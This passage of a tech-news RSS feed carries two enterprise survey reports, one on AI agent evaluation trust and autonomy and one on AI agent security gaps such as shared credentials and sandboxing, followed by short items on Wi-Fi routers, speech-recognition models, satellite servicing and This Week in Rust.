29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[We tested 15 Wi-Fi 7 routers in our lab - this one had the best coverage]]></title>
<description><![CDATA[ZDNET's latest Lab Award goes to the Wi-Fi router with the widest coverage.]]></description>
<link>https://tsecurity.de/de/3688782/hacking/we-tested-15-wi-fi-7-routers-in-our-lab-this-one-had-the-best-coverage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688782/hacking/we-tested-15-wi-fi-7-routers-in-our-lab-this-one-had-the-best-coverage/</guid>
<pubDate>Thu, 23 Jul 2026 13:03:01 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNET's latest Lab Award goes to the Wi-Fi router with the widest coverage.]]></content:encoded>
</item>
<item>
<title><![CDATA[Best Open Speech Recognition (ASR) Models in 2026: WER, Languages, Latency, and License Compared]]></title>
<description><![CDATA[Open speech recognition stopped being a Whisper monoculture in 2026. Cohere Transcribe, IBM Granite Speech 4.1, ARK-ASR and MOSS-Transcribe are now separated by less than one WER point on the Hugging Face Open ASR Leaderboard — which means rank no longer decides anything. This roundup compares 16...]]></description>
<link>https://tsecurity.de/de/3688555/ai-nachrichten/best-open-speech-recognition-asr-models-in-2026-wer-languages-latency-and-license-compared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688555/ai-nachrichten/best-open-speech-recognition-asr-models-in-2026-wer-languages-latency-and-license-compared/</guid>
<pubDate>Thu, 23 Jul 2026 11:44:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Open speech recognition stopped being a Whisper monoculture in 2026. Cohere Transcribe, IBM Granite Speech 4.1, ARK-ASR and MOSS-Transcribe are now separated by less than one WER point on the Hugging Face Open ASR Leaderboard — which means rank no longer decides anything. This roundup compares 16 open-weight models on word error rate, language coverage, streaming latency and license, and shows why the published averages cannot be subtracted from one another.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/best-open-speech-recognition-asr-models-in-2026-wer-languages-latency-and-license-compared/">Best Open Speech Recognition (ASR) Models in 2026: WER, Languages, Latency, and License Compared</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Private Mission Launches To Extend Life of Out-of-Gas Communication Satellites]]></title>
<description><![CDATA[Northrop Grumman has launched a private satellite-servicing mission to attach life-extending "jetpacks" to aging communications satellites in geosynchronous orbit. "It's the second satellite-saving mission to launch this month, all part of a growing, money-saving effort to keep spacecraft running...]]></description>
<link>https://tsecurity.de/de/3688235/it-security-nachrichten/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688235/it-security-nachrichten/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Northrop Grumman has launched a private satellite-servicing mission to attach life-extending "jetpacks" to aging communications satellites in geosynchronous orbit. "It's the second satellite-saving mission to launch this month, all part of a growing, money-saving effort to keep spacecraft running as long as possible," reports Phys.org. From the report: Launched by SpaceX, Northrop Grumman's mission robotic vehicle -- dubbed MRV -- and its jetpacks will spend the next year angling into the proper orbit 22,300 miles (36,000 kilometers) above Earth. Hundreds of satellites orbit at this so-called geosynchronous orbit, where they match the speed of Earth's rotation and keep to the same part of the sky for continuous coverage. Once in place by mid-2027, the minivan-sized spacecraft will use its 10-foot (9-meter) arms to attach a jetpack to an aging communication satellite. Then it will zip off to two more satellites in need.
 
For its debut flight, the spacecraft was accompanied by three electric-propelled jetpacks that peeled away separately following liftoff. Like the MRV, the jetpacks will use their own xenon gas thrusters to get to the desired orbit. Once in place, the jetpacks will wait for the robot to grab them, one at a time, and plug them into their designated satellites. Each jetpack -- the size of a washing machine -- will provide the necessary oomph for an out-of-gas satellite to keep operating for several more years instead of retiring. If it works, it will be a boon for satellite operators SES of Luxembourg and Optus of Australia, saving them millions of dollars in replacement costs.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Private+Mission+Launches+To+Extend+Life+of+Out-of-Gas+Communication+Satellites%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F23%2F0534215%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F23%2F0534215%2Fprivate-mission-launches-to-extend-life-of-out-of-gas-communication-satellites%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/23/0534215/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
